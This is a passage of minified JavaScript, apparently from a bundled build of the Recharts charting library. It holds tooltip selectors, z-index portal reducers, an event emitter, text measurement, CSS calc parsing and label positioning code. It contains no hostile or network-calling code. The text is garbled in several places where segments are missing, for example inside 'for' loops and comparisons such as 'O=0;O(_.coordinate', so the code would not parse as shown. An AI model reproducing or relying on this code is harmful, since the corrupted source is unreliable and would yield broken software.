O=0;O(_.coordinate+E.coordinate)/2||O>0&&O(_.coordinate+E.coordinate)/2&&e<=(_.coordinate+T.coordinate)/2)return _.index}}return-1},uS=()=>pe(i0),R0=(e,t)=>t,dS=(e,t,n)=>n,$0=(e,t,n,r)=>r,eR=L(_r,e=>id(e,t=>t.coordinate)),B0=L([as,R0,dS,$0],G4),F0=L([B0,os,Go,Zo],T0),tR=(e,t,n)=>{if(t!=null){var r=as(e);return t==="axis"?n==="hover"?r.axisInteraction.hover.dataKey:r.axisInteraction.click.dataKey:n==="hover"?r.itemInteraction.hover.dataKey:r.itemInteraction.click.dataKey}},fS=L([as,R0,dS,$0],Z4),hu=L([Sr,zr,ze,ft,_r,$0,fS],X4),nR=L([B0,hu],(e,t)=>{var n;return(n=e.coordinate)!==null&&n!==void 0?n:t}),pS=L([_r,F0],V4),rR=L([fS,F0,Pr,Go,pS,Q4,R0],J4),iR=L([B0,F0],(e,t)=>({isActive:e.active&&t!=null,activeIndex:t})),aR=(e,t,n,r,i,a,o)=>{if(!(!e||!n||!r||!i)&&JD(e,o)){var l=K6(e,t),c=cS(l,a,i,n,r),u=ZD(t,i,c,e);return{activeIndex:String(c),activeCoordinate:u}}},sR=(e,t,n,r,i,a,o)=>{if(!(!e||!r||!i||!a||!n)){var l=YM(e,n);if(l){var c=q6(l,t),u=cS(c,o,a,r,i),d=QD(t,a,u,l);return{activeIndex:String(u),activeCoordinate:d}}}},oR=(e,t,n,r,i,a,o,l)=>{if(!(!e||!t||!r||!i||!a))return t==="horizontal"||t==="vertical"?aR(e,t,r,i,a,o,l):sR(e,t,n,r,i,a,o)},lR=L(e=>e.zIndex.zIndexMap,(e,t)=>t,(e,t,n)=>n,(e,t,n)=>{if(t!=null){var r=e[t];if(r!=null)return n?r.panoramaElement:r.element}}),cR=L(e=>e.zIndex.zIndexMap,e=>{var t=Object.keys(e).map(r=>parseInt(r,10)).concat(Object.values(Rt)),n=Array.from(new Set(t));return n.sort((r,i)=>r-i)},{memoizeOptions:{resultEqualityCheck:VI}});function nb(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function rb(e){for(var t=1;trb(rb({},e),{},{[t]:{element:void 0,panoramaElement:void 0,consumers:0}}),pR)},hR=new Set(Object.values(Rt));function xR(e){return hR.has(e)}var mS=Ut({name:"zIndex",initialState:mR,reducers:{registerZIndexPortal:{reducer:(e,t)=>{var{zIndex:n}=t.payload;e.zIndexMap[n]?e.zIndexMap[n].consumers+=1:e.zIndexMap[n]={consumers:1,element:void 0,panoramaElement:void 0}},prepare:De()},unregisterZIndexPortal:{reducer:(e,t)=>{var{zIndex:n}=t.payload;e.zIndexMap[n]&&(e.zIndexMap[n].consumers-=1,e.zIndexMap[n].consumers<=0&&!xR(n)&&delete e.zIndexMap[n])},prepare:De()},registerZIndexPortalElement:{reducer:(e,t)=>{var{zIndex:n,element:r,isPanorama:i}=t.payload;e.zIndexMap[n]?i?e.zIndexMap[n].panoramaElement=r:e.zIndexMap[n].element=r:e.zIndexMap[n]={consumers:0,element:i?void 0:r,panoramaElement:i?r:void 0}},prepare:De()},unregisterZIndexPortalElement:{reducer:(e,t)=>{var{zIndex:n}=t.payload;e.zIndexMap[n]&&(t.payload.isPanorama?e.zIndexMap[n].panoramaElement=void 0:e.zIndexMap[n].element=void 0)},prepare:De()}}}),{registerZIndexPortal:vR,unregisterZIndexPortal:gR,registerZIndexPortalElement:yR,unregisterZIndexPortalElement:bR}=mS.actions,wR=mS.reducer;function pi(e){var{zIndex:t,children:n}=e,r=kT(),i=r&&t!==void 0&&t!==0,a=In(),o=Qe();p.useLayoutEffect(()=>i?(o(vR({zIndex:t})),()=>{o(gR({zIndex:t}))}):Za,[o,t,i]);var l=pe(c=>lR(c,t,a));return i?l?Qh.createPortal(n,l):null:n}function Xm(){return Xm=Object.assign?Object.assign.bind():function(e){for(var t=1;tp.useContext(hS),xS={exports:{}};(function(e){var t=Object.prototype.hasOwnProperty,n="~";function r(){}Object.create&&(r.prototype=Object.create(null),new r().__proto__||(n=!1));function i(c,u,d){this.fn=c,this.context=u,this.once=d||!1}function a(c,u,d,f,m){if(typeof d!="function")throw new TypeError("The listener must be a function");var h=new i(d,f||c,m),x=n?n+u:u;return c._events[x]?c._events[x].fn?c._events[x]=[c._events[x],h]:c._events[x].push(h):(c._events[x]=h,c._eventsCount++),c}function o(c,u){--c._eventsCount===0?c._events=new r:delete c._events[u]}function l(){this._events=new r,this._eventsCount=0}l.prototype.eventNames=function(){var u=[],d,f;if(this._eventsCount===0)return u;for(f in d=this._events)t.call(d,f)&&u.push(n?f.slice(1):f);return Object.getOwnPropertySymbols?u.concat(Object.getOwnPropertySymbols(d)):u},l.prototype.listeners=function(u){var d=n?n+u:u,f=this._events[d];if(!f)return[];if(f.fn)return[f.fn];for(var m=0,h=f.length,x=new Array(h);m{if(t&&Array.isArray(e)){var n=Number.parseInt(t,10);if(!Gn(n))return e[n]}},_R={chartName:"",tooltipPayloadSearcher:()=>{},eventEmitter:void 0,defaultTooltipEventType:"axis"},gS=Ut({name:"options",initialState:_R,reducers:{createEventEmitter:e=>{e.eventEmitter==null&&(e.eventEmitter=Symbol("rechartsEventEmitter"))}}}),OR=gS.reducer,{createEventEmitter:TR}=gS.actions;function MR(e){return e.tooltip.syncInteraction}var LR={chartData:void 0,computedData:void 0,dataStartIndex:0,dataEndIndex:0},yS=Ut({name:"chartData",initialState:LR,reducers:{setChartData(e,t){if(e.chartData=t.payload,t.payload==null){e.dataStartIndex=0,e.dataEndIndex=0;return}t.payload.length>0&&e.dataEndIndex!==t.payload.length-1&&(e.dataEndIndex=t.payload.length-1)},setComputedData(e,t){e.computedData=t.payload},setDataStartEndIndexes(e,t){var{startIndex:n,endIndex:r}=t.payload;n!=null&&(e.dataStartIndex=n),r!=null&&(e.dataEndIndex=r)}}}),{setChartData:sb,setDataStartEndIndexes:IR,setComputedData:gV}=yS.actions,DR=yS.reducer,RR=["x","y"];function ob(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function ra(e){for(var t=1;tc.rootProps.className);p.useEffect(()=>{if(e==null)return Za;var c=(u,d,f)=>{if(t!==f&&e===u){if(r==="index"){var m;if(o&&d!==null&&d!==void 0&&(m=d.payload)!==null&&m!==void 0&&m.coordinate&&d.payload.sourceViewBox){var h=d.payload.coordinate,{x,y:g}=h,y=WR(h,RR),{x:v,y:b,width:w,height:j}=d.payload.sourceViewBox,k=ra(ra({},y),{},{x:o.x+(w?(x-v)/w:0)*o.width,y:o.y+(j?(g-b)/j:0)*o.height});n(ra(ra({},d),{},{payload:ra(ra({},d.payload),{},{coordinate:k})}))}else n(d);return}if(i!=null){var S;if(typeof r=="function"){var N={activeTooltipIndex:d.payload.index==null?void 0:Number(d.payload.index),isTooltipActive:d.payload.active,activeIndex:d.payload.index==null?void 0:Number(d.payload.index),activeLabel:d.payload.label,activeDataKey:d.payload.dataKey,activeCoordinate:d.payload.coordinate},z=r(i,N);S=i[z]}else r==="value"&&(S=i.find(I=>String(I.value)===d.payload.label));var{coordinate:O}=d.payload;if(S==null||d.payload.active===!1||O==null||o==null){n(Ym({active:!1,coordinate:void 0,dataKey:void 0,index:null,label:void 0,sourceViewBox:void 0,graphicalItemId:void 0}));return}var{x:_,y:T}=O,E=Math.min(_,o.x+o.width),U=Math.min(T,o.y+o.height),K={x:a==="horizontal"?S.coordinate:E,y:a==="horizontal"?U:S.coordinate},R=Ym({active:d.payload.active,coordinate:K,dataKey:d.payload.dataKey,index:String(S.index),label:d.payload.label,sourceViewBox:d.payload.sourceViewBox,graphicalItemId:d.payload.graphicalItemId});n(R)}}};return Po.on(Zm,c),()=>{Po.off(Zm,c)}},[l,n,t,e,r,i,a,o])}function HR(){var e=pe(a0),t=pe(s0),n=Qe();p.useEffect(()=>{if(e==null)return Za;var r=(i,a,o)=>{t!==o&&e===i&&n(IR(a))};return Po.on(ab,r),()=>{Po.off(ab,r)}},[n,t,e])}function KR(){var e=Qe();p.useEffect(()=>{e(TR())},[e]),VR(),HR()}function qR(e,t,n,r,i,a){var o=pe(h=>tR(h,e,t)),l=pe(s0),c=pe(a0),u=pe(o4),d=pe(MR),f=d==null?void 0:d.active,m=yd();p.useEffect(()=>{if(!f&&c!=null&&l!=null){var h=Ym({active:a,coordinate:n,dataKey:o,index:i,label:typeof r=="number"?String(r):r,sourceViewBox:m,graphicalItemId:void 0});Po.emit(Zm,c,h,l)}},[f,n,o,i,r,l,c,u,a,m])}function lb(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function cb(e){for(var t=1;t{N(X7({shared:b,trigger:w,axisId:S,active:i,defaultIndex:z}))},[N,b,w,S,i,z]);var O=yd(),_=tN(),T=V7(b),{activeIndex:E,isActive:U}=(t=pe(G=>iR(G,T,w,z)))!==null&&t!==void 0?t:{},K=pe(G=>rR(G,T,w,z)),R=pe(G=>pS(G,T,w,z)),I=pe(G=>nR(G,T,w,z)),F=K,B=PR(),V=(n=i??U)!==null&&n!==void 0?n:!1,[$,q]=TO([F,V]),Y=T==="axis"?R:void 0;qR(T,w,I,Y,E,V);var ie=k??B;if(ie==null||O==null||T==null)return null;var ae=F??ub;V||(ae=ub),u&&ae.length&&(ae=Z_(ae.filter(G=>G.value!=null&&(G.hide!==!0||r.includeHidden)),m,ZR));var fe=ae.length>0,de=p.createElement(YT,{allowEscapeViewBox:a,animationDuration:o,animationEasing:l,isAnimationActive:d,active:V,coordinate:I,hasPayload:fe,offset:f,position:h,reverseDirection:x,useTranslate3d:g,viewBox:O,wrapperStyle:y,lastBoundingBox:$,innerRef:q,hasPortalFromProps:!!k},QR(c,cb(cb({},r),{},{payload:ae,label:Y,active:V,activeIndex:E,coordinate:I,accessibilityLayer:_})));return p.createElement(p.Fragment,null,Qh.createPortal(de,ie),V&&p.createElement(CR,{cursor:v,tooltipEventType:T,coordinate:I,payload:ae,index:E}))}var Wd=e=>null;Wd.displayName="Cell";function e9(e,t,n){return(t=t9(t))in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function t9(e){var t=n9(e,"string");return typeof t=="symbol"?t:t+""}function n9(e,t){if(typeof e!="object"||!e)return e;var n=e[Symbol.toPrimitive];if(n!==void 0){var r=n.call(e,t);if(typeof r!="object")return r;throw new TypeError("@@toPrimitive must return a primitive value.")}return(t==="string"?String:Number)(e)}class r9{constructor(t){e9(this,"cache",new Map),this.maxSize=t}get(t){var n=this.cache.get(t);return n!==void 0&&(this.cache.delete(t),this.cache.set(t,n)),n}set(t,n){if(this.cache.has(t))this.cache.delete(t);else if(this.cache.size>=this.maxSize){var r=this.cache.keys().next().value;r!=null&&this.cache.delete(r)}this.cache.set(t,n)}clear(){this.cache.clear()}size(){return this.cache.size}}function fb(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function i9(e){for(var t=1;t{try{var n=document.getElementById(mb);n||(n=document.createElement("span"),n.setAttribute("id",mb),n.setAttribute("aria-hidden","true"),document.body.appendChild(n)),Object.assign(n.style,c9,t),n.textContent="".concat(e);var r=n.getBoundingClientRect();return{width:r.width,height:r.height}}catch{return{width:0,height:0}}},xb=function(t){var n=arguments.length>1&&arguments[1]!==void 0?arguments[1]:{};if(t==null||kd.isSsr)return{width:0,height:0};if(!bS.enableCache)return hb(t,n);var r=u9(t,n),i=pb.get(r);if(i)return i;var a=hb(t,n);return pb.set(r,a),a},wS;function d9(e,t,n){return(t=f9(t))in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function f9(e){var t=p9(e,"string");return typeof t=="symbol"?t:t+""}function p9(e,t){if(typeof e!="object"||!e)return e;var n=e[Symbol.toPrimitive];if(n!==void 0){var r=n.call(e,t);if(typeof r!="object")return r;throw new TypeError("@@toPrimitive must return a primitive value.")}return(t==="string"?String:Number)(e)}var vb=/(-?\d+(?:\.\d+)?[a-zA-Z%]*)([*/])(-?\d+(?:\.\d+)?[a-zA-Z%]*)/,gb=/(-?\d+(?:\.\d+)?[a-zA-Z%]*)([+-])(-?\d+(?:\.\d+)?[a-zA-Z%]*)/,m9=/^px|cm|vh|vw|em|rem|%|mm|in|pt|pc|ex|ch|vmin|vmax|Q$/,h9=/(-?\d+(?:\.\d+)?)([a-zA-Z%]+)?/,x9={cm:96/2.54,mm:96/25.4,pt:96/72,pc:96/6,in:96,Q:96/(2.54*40),px:1},v9=["cm","mm","pt","pc","in","Q","px"];function g9(e){return v9.includes(e)}var ya="NaN";function y9(e,t){return e*x9[t]}class vt{static parse(t){var n,[,r,i]=(n=h9.exec(t))!==null&&n!==void 0?n:[];return r==null?vt.NaN:new vt(parseFloat(r),i??"")}constructor(t,n){this.num=t,this.unit=n,this.num=t,this.unit=n,Gn(t)&&(this.unit=""),n!==""&&!m9.test(n)&&(this.num=NaN,this.unit=""),g9(n)&&(this.num=y9(t,n),this.unit="px")}add(t){return this.unit!==t.unit?new vt(NaN,""):new vt(this.num+t.num,this.unit)}subtract(t){return this.unit!==t.unit?new vt(NaN,""):new vt(this.num-t.num,this.unit)}multiply(t){return this.unit!==""&&t.unit!==""&&this.unit!==t.unit?new vt(NaN,""):new vt(this.num*t.num,this.unit||t.unit)}divide(t){return this.unit!==""&&t.unit!==""&&this.unit!==t.unit?new vt(NaN,""):new vt(this.num/t.num,this.unit||t.unit)}toString(){return"".concat(this.num).concat(this.unit)}isNaN(){return Gn(this.num)}}wS=vt;d9(vt,"NaN",new wS(NaN,""));function jS(e){if(e==null||e.includes(ya))return ya;for(var t=e;t.includes("*")||t.includes("/");){var n,[,r,i,a]=(n=vb.exec(t))!==null&&n!==void 0?n:[],o=vt.parse(r??""),l=vt.parse(a??""),c=i==="*"?o.multiply(l):o.divide(l);if(c.isNaN())return ya;t=t.replace(vb,c.toString())}for(;t.includes("+")||/.-\d+(?:\.\d+)?/.test(t);){var u,[,d,f,m]=(u=gb.exec(t))!==null&&u!==void 0?u:[],h=vt.parse(d??""),x=vt.parse(m??""),g=f==="+"?h.add(x):h.subtract(x);if(g.isNaN())return ya;t=t.replace(gb,g.toString())}return t}var yb=/\(([^()]*)\)/;function b9(e){for(var t=e,n;(n=yb.exec(t))!=null;){var[,r]=n;t=t.replace(yb,jS(r))}return t}function w9(e){var t=e.replace(/\s+/g,"");return t=b9(t),t=jS(t),t}function j9(e){try{return w9(e)}catch{return ya}}function Qf(e){var t=j9(e.slice(5,-1));return t===ya?"":t}var k9=["x","y","lineHeight","capHeight","fill","scaleToFit","textAnchor","verticalAnchor"],N9=["dx","dy","angle","className","breakAll"];function Qm(){return Qm=Object.assign?Object.assign.bind():function(e){for(var t=1;t{var{children:t,breakAll:n,style:r}=e;try{var i=[];wt(t)||(n?i=t.toString().split(""):i=t.toString().split(kS));var a=i.map(l=>({word:l,width:xb(l,r).width})),o=n?0:xb(" ",r).width;return{wordsWithComputedWidth:a,spaceWidth:o}}catch{return null}};function z9(e){return e==="start"||e==="middle"||e==="end"||e==="inherit"}var SS=(e,t,n,r)=>e.reduce((i,a)=>{var{word:o,width:l}=a,c=i[i.length-1];if(c&&l!=null&&(t==null||r||c.width+l+ne.reduce((t,n)=>t.width>n.width?t:n),C9="…",wb=(e,t,n,r,i,a,o,l)=>{var c=e.slice(0,t),u=NS({breakAll:n,style:r,children:c+C9});if(!u)return[!1,[]];var d=SS(u.wordsWithComputedWidth,a,o,l),f=d.length>i||zS(d).width>Number(a);return[f,d]},P9=(e,t,n,r,i)=>{var{maxLines:a,children:o,style:l,breakAll:c}=e,u=ue(a),d=String(o),f=SS(t,r,n,i);if(!u||i)return f;var m=f.length>a||zS(f).width>Number(r);if(!m)return f;for(var h=0,x=d.length-1,g=0,y;h<=x&&g<=d.length-1;){var v=Math.floor((h+x)/2),b=v-1,[w,j]=wb(d,b,c,l,a,r,n,i),[k]=wb(d,v,c,l,a,r,n,i);if(!w&&!k&&(h=v+1),w&&k&&(x=v-1),!w&&k){y=j;break}g++}return y||f},jb=e=>{var t=wt(e)?[]:e.toString().split(kS);return[{words:t,width:void 0}]},E9=e=>{var{width:t,scaleToFit:n,children:r,style:i,breakAll:a,maxLines:o}=e;if((t||n)&&!kd.isSsr){var l,c,u=NS({breakAll:a,children:r,style:i});if(u){var{wordsWithComputedWidth:d,spaceWidth:f}=u;l=d,c=f}else return jb(r);return P9({breakAll:a,children:r,maxLines:o,style:i},l,c,t,!!n)}return jb(r)},CS="#808080",A9={angle:0,breakAll:!1,capHeight:"0.71em",fill:CS,lineHeight:"1em",scaleToFit:!1,textAnchor:"start",verticalAnchor:"end",x:0,y:0},W0=p.forwardRef((e,t)=>{var n=rn(e,A9),{x:r,y:i,lineHeight:a,capHeight:o,fill:l,scaleToFit:c,textAnchor:u,verticalAnchor:d}=n,f=bb(n,k9),m=p.useMemo(()=>E9({breakAll:f.breakAll,children:f.children,maxLines:f.maxLines,scaleToFit:c,style:f.style,width:f.width}),[f.breakAll,f.children,f.maxLines,c,f.style,f.width]),{dx:h,dy:x,angle:g,className:y,breakAll:v}=f,b=bb(f,N9);if(!hr(r)||!hr(i)||m.length===0)return null;var w=Number(r)+(ue(h)?h:0),j=Number(i)+(ue(x)?x:0);if(!ye(w)||!ye(j))return null;var k;switch(d){case"start":k=Qf("calc(".concat(o,")"));break;case"middle":k=Qf("calc(".concat((m.length-1)/2," * -").concat(a," + (").concat(o," / 2))"));break;default:k=Qf("calc(".concat(m.length-1," * -").concat(a,")"));break}var S=[],N=m[0];if(c&&N!=null){var z=N.width,{width:O}=f;S.push("scale(".concat(ue(O)&&ue(z)?O/z:1,")"))}return g&&S.push("rotate(".concat(g,", ").concat(w,", ").concat(j,")")),S.length&&(b.transform=S.join(" ")),p.createElement("text",Qm({},At(b),{ref:t,x:w,y:j,className:Ve("recharts-text",y),textAnchor:u,fill:l.includes("url")?CS:l}),m.map((_,T)=>{var E=_.words.join(v?"":" ");return p.createElement("tspan",{x:w,dy:T===0?k:a,key:"".concat(E,"-").concat(T)},E)}))});W0.displayName="Text";function kb(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function Bn(e){for(var t=1;t{var{viewBox:t,position:n,offset:r=0,parentViewBox:i}=e,{x:a,y:o,height:l,upperWidth:c,lowerWidth:u}=Ax(t),d=a,f=a+(c-u)/2,m=(d+f)/2,h=(c+u)/2,x=d+c/2,g=l>=0?1:-1,y=g*r,v=g>0?"end":"start",b=g>0?"start":"end",w=c>=0?1:-1,j=w*r,k=w>0?"end":"start",S=w>0?"start":"end",N=i;if(n==="top"){var z={x:d+c/2,y:o-y,horizontalAnchor:"middle",verticalAnchor:v};return N&&(z.height=Math.max(o-N.y,0),z.width=c),z}if(n==="bottom"){var O={x:f+u/2,y:o+l+y,horizontalAnchor:"middle",verticalAnchor:b};return N&&(O.height=Math.max(N.y+N.height-(o+l),0),O.width=u),O}if(n==="left"){var _={x:m-j,y:o+l/2,horizontalAnchor:k,verticalAnchor:"middle"};return N&&(_.width=Math.max(_.x-N.x,0),_.height=l),_}if(n==="right"){var T={x:m+h+j,y:o+l/2,horizontalAnchor:S,verticalAnchor:"middle"};return N&&(T.width=Math.max(N.x+N.width-T.x,0),T.height=l),T}var E=N?{width:h,height:l}:{};return n==="insideLeft"?Bn({x:m+j,y:o+l/2,horizontalAnchor:S,verticalAnchor:"middle"},E):n==="insideRight"?Bn({x:m+h-j,y:o+l/2,horizontalAnchor:k,verticalAnchor:"middle"},E):n==="insideTop"?Bn({x:d+c/2,y:o+y,horizontalAnchor:"middle",verticalAnchor:b},E):n==="insideBottom"?Bn({x:f+u/2,y:o+l-y,horizontalAnchor:"middle",verticalAnchor:v},E):n==="insideTopLeft"?Bn({x:d+j,y:o+y,horizontalAnchor:S,verticalAnchor:b},E):n==="insideTopRight"?Bn({x:d+c-j,y:o+y,horizontalAnchor:k,verticalAnchor:b},E):n==="insideBottomLeft"?Bn({x:f+j,y:o+l-y,horizontalAnchor:S,verticalAnchor:v},E):n==="insideBottomRight"?Bn({x:f+u-j,y:o+l-y,horizontalAnchor:k,verticalAnchor:v},E):n&&typeof n=="object"&&(ue(n.x)||Ui(n.x))&&(ue(n.y)||Ui(n.y))?Bn({x:a+Zt(n.x,h),y:o+Zt(n.y,l),horizontalAnchor:"end",verticalAnchor:"end"},E):Bn({x,y:o+l/2,horizontalAnchor:"middle",verticalAnchor:"middle"},E)},L9=["labelRef"],I9=["content"];function Nb(e,t){if(e==null)return{};var n,r,i=D9(e,t);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);for(r=0;r{var e=p.useContext(F9),t=yd();return e||(t?Ax(t):void 0)},U9=p.createContext(null),V9=()=>{var e=p.useContext(U9),t=pe(p4);return e||t},H9=e=>{var{value:t,formatter:n}=e,r=wt(e.children)?t:e.children;return typeof n=="function"?n(r):r},K9=e=>e!=null&&typeof e=="function",q9=(e,t)=>{var n=It(t-e),r=Math.min(Math.abs(t-e),360);return n*r},Y9=(e,t,n,r,i)=>{var{offset:a,className:o}=e,{cx:l,cy:c,innerRadius:u,outerRadius:d,startAngle:f,endAngle:m,clockWise:h}=i,x=(u+d)/2,g=q9(f,m),y=g>=0?1:-1,v,b;switch(t){case"insideStart":v=f+y*a,b=h;break;case"insideEnd":v=m-y*a,b=!h;break;case"end":v=m+y*a,b=h;break;default:throw new Error("Unsupported position ".concat(t))}b=g<=0?b:!b;var w=et(l,c,x,v),j=et(l,c,x,v+(b?1:-1)*359),k="M".concat(w.x,",").concat(w.y,` A`).concat(x,",").concat(x,",0,1,").concat(b?0:1,`, `).concat(j.x,",").concat(j.y),S=wt(e.id)?ho("recharts-radial-line-"):e.id;return p.createElement("text",xu({},r,{dominantBaseline:"central",className:Ve("recharts-radial-bar-label",o)}),p.createElement("defs",null,p.createElement("path",{id:S,d:k})),p.createElement("textPath",{xlinkHref:"#".concat(S)},n))},G9=(e,t,n)=>{var{cx:r,cy:i,innerRadius:a,outerRadius:o,startAngle:l,endAngle:c}=e,u=(l+c)/2;if(n==="outside"){var{x:d,y:f}=et(r,i,o+t,u);return{x:d,y:f,textAnchor:d>=r?"start":"end",verticalAnchor:"middle"}}if(n==="center")return{x:r,y:i,textAnchor:"middle",verticalAnchor:"middle"};if(n==="centerTop")return{x:r,y:i,textAnchor:"middle",verticalAnchor:"start"};if(n==="centerBottom")return{x:r,y:i,textAnchor:"middle",verticalAnchor:"end"};var m=(a+o)/2,{x:h,y:x}=et(r,i,m,u);return{x:h,y:x,textAnchor:"middle",verticalAnchor:"middle"}},nc=e=>e!=null&&"cx"in e&&ue(e.cx),X9={angle:0,offset:5,zIndex:Rt.label,position:"middle",textBreakAll:!1};function Z9(e){if(!nc(e))return e;var{cx:t,cy:n,outerRadius:r}=e,i=r*2;return{x:t-r,y:n-r,width:i,upperWidth:i,lowerWidth:i,height:i}}function PS(e){var t=rn(e,X9),{viewBox:n,parentViewBox:r,position:i,value:a,children:o,content:l,className:c="",textBreakAll:u,labelRef:d}=t,f=V9(),m=W9(),h=i==="center"?m:f??m,x,g,y;n==null?x=h:nc(n)?x=n:x=Ax(n);var v=Z9(x);if(!x||wt(a)&&wt(o)&&!p.isValidElement(l)&&typeof l!="function")return null;var b=Ol(Ol({},t),{},{viewBox:x});if(p.isValidElement(l)){var{labelRef:w}=b,j=Nb(b,L9);return p.cloneElement(l,j)}if(typeof l=="function"){var{content:k}=b,S=Nb(b,I9);if(g=p.createElement(l,S),p.isValidElement(g))return g}else g=H9(t);var N=At(t);if(nc(x)){if(i==="insideStart"||i==="insideEnd"||i==="end")return Y9(t,i,g,N,x);y=G9(x,t.offset,t.position)}else{if(!v)return null;var z=M9({viewBox:v,position:i,offset:t.offset,parentViewBox:nc(r)?void 0:r});y=Ol(Ol({x:z.x,y:z.y,textAnchor:z.horizontalAnchor,verticalAnchor:z.verticalAnchor},z.width!==void 0?{width:z.width}:{}),z.height!==void 0?{height:z.height}:{})}return p.createElement(pi,{zIndex:t.zIndex},p.createElement(W0,xu({ref:d,className:Ve("recharts-label",c)},N,y,{textAnchor:z9(N.textAnchor)?N.textAnchor:y.textAnchor,breakAll:u}),g))}PS.displayName="Label";var ES={},AS={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n){return n[n.length-1]}e.last=t})(AS);var _S={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n){return Array.isArray(n)?n:Array.from(n)}e.toArray=t})(_S);(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=AS,n=_S,r=td;function i(a){if(r.isArrayLike(a))return t.last(n.toArray(a))}e.last=i})(ES);var Q9=ES.last;const J9=jr(Q9);var e$=["valueAccessor"],t$=["dataKey","clockWise","id","textBreakAll","zIndex"];function vu(){return vu=Object.assign?Object.assign.bind():function(e){for(var t=1;tArray.isArray(e.value)?J9(e.value):e.value,OS=p.createContext(void 0),i$=OS.Provider,TS=p.createContext(void 0),a$=TS.Provider;function s$(){return p.useContext(OS)}function o$(){return p.useContext(TS)}function rc(e){var{valueAccessor:t=r$}=e,n=zb(e,e$),{dataKey:r,clockWise:i,id:a,textBreakAll:o,zIndex:l}=n,c=zb(n,t$),u=s$(),d=o$(),f=u||d;return!f||!f.length?null:p.createElement(pi,{zIndex:l??Rt.label},p.createElement(Wt,{className:"recharts-label-list"},f.map((m,h)=>{var x,g=wt(r)?t(m,h):Le(m.payload,r),y=wt(a)?{}:{id:"".concat(a,"-").concat(h)};return p.createElement(PS,vu({key:"label-".concat(h)},At(m),c,y,{fill:(x=n.fill)!==null&&x!==void 0?x:m.fill,parentViewBox:m.parentViewBox,value:g,textBreakAll:o,viewBox:m.viewBox,index:h,zIndex:0}))})))}rc.displayName="LabelList";function MS(e){var{label:t}=e;return t?t===!0?p.createElement(rc,{key:"labelList-implicit"}):p.isValidElement(t)||K9(t)?p.createElement(rc,{key:"labelList-implicit",content:t}):typeof t=="object"?p.createElement(rc,vu({key:"labelList-implicit"},t,{type:String(t.type)})):null:null}function Jm(){return Jm=Object.assign?Object.assign.bind():function(e){for(var t=1;t{var{cx:t,cy:n,r,className:i}=e,a=Ve("recharts-dot",i);return ue(t)&&ue(n)&&ue(r)?p.createElement("circle",Jm({},mr(e),dx(e),{className:a,cx:t,cy:n,r})):null},IS=e=>e.graphicalItems.polarItems,l$=L([He,qo],p0),Ud=L([IS,Ge,l$],m0),c$=L([Ud],h0),Vd=L([c$,Od],x0),u$=L([Vd,Ge,Ud],g0);L([Vd,Ge,Ud],(e,t,n)=>n.length>0?e.flatMap(r=>n.flatMap(i=>{var a,o=Le(r,(a=t.dataKey)!==null&&a!==void 0?a:i.dataKey);return{value:o,errorDomain:[]}})).filter(Boolean):(t==null?void 0:t.dataKey)!=null?e.map(r=>({value:Le(r,t.dataKey),errorDomain:[]})):e.map(r=>({value:r,errorDomain:[]})));var Cb=()=>{},d$=L([Vd,Ge,Ud,Rd,He],j0),f$=L([Ge,b0,w0,Cb,d$,Cb,ze,He],k0),DS=L([Ge,ze,Vd,u$,Ko,He,f$],N0),p$=L([DS,rs,fi],C0),m$=L([Ge,DS,p$,He],E0);L([fi,m$],h4);var h$={radiusAxis:{},angleAxis:{}},RS=Ut({name:"polarAxis",initialState:h$,reducers:{addRadiusAxis(e,t){e.radiusAxis[t.payload.id]=t.payload},removeRadiusAxis(e,t){delete e.radiusAxis[t.payload.id]},addAngleAxis(e,t){e.angleAxis[t.payload.id]=t.payload},removeAngleAxis(e,t){delete e.angleAxis[t.payload.id]}}}),{addRadiusAxis:yV,removeRadiusAxis:bV,addAngleAxis:wV,removeAngleAxis:jV}=RS.actions,x$=RS.reducer;function v$(e){return e&&typeof e=="object"&&"className"in e&&typeof e.className=="string"?e.className:""}function Pb(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function Eb(e){for(var t=1;tt,U0=L([IS,w$],(e,t)=>e.filter(n=>n.type==="pie").find(n=>n.id===t)),j$=[],V0=(e,t,n)=>(n==null?void 0:n.length)===0?j$:n,$S=L([Od,U0,V0],(e,t,n)=>{var{chartData:r}=e;if(t!=null){var i;if((t==null?void 0:t.data)!=null&&t.data.length>0?i=t.data:i=r,(!i||!i.length)&&n!=null&&(i=n.map(a=>Eb(Eb({},t.presentationProps),a.props))),i!=null)return i}}),k$=L([$S,U0,V0],(e,t,n)=>{if(!(e==null||t==null))return e.map((r,i)=>{var a,o=Le(r,t.nameKey,t.name),l;return n!=null&&(a=n[i])!==null&&a!==void 0&&(a=a.props)!==null&&a!==void 0&&a.fill?l=n[i].props.fill:typeof r=="object"&&r!=null&&"fill"in r?l=r.fill:l=t.fill,{value:md(o,t.dataKey),color:l,payload:r,type:t.legendType}})}),N$=L([$S,U0,V0,ft],(e,t,n,r)=>{if(!(t==null||e==null))return 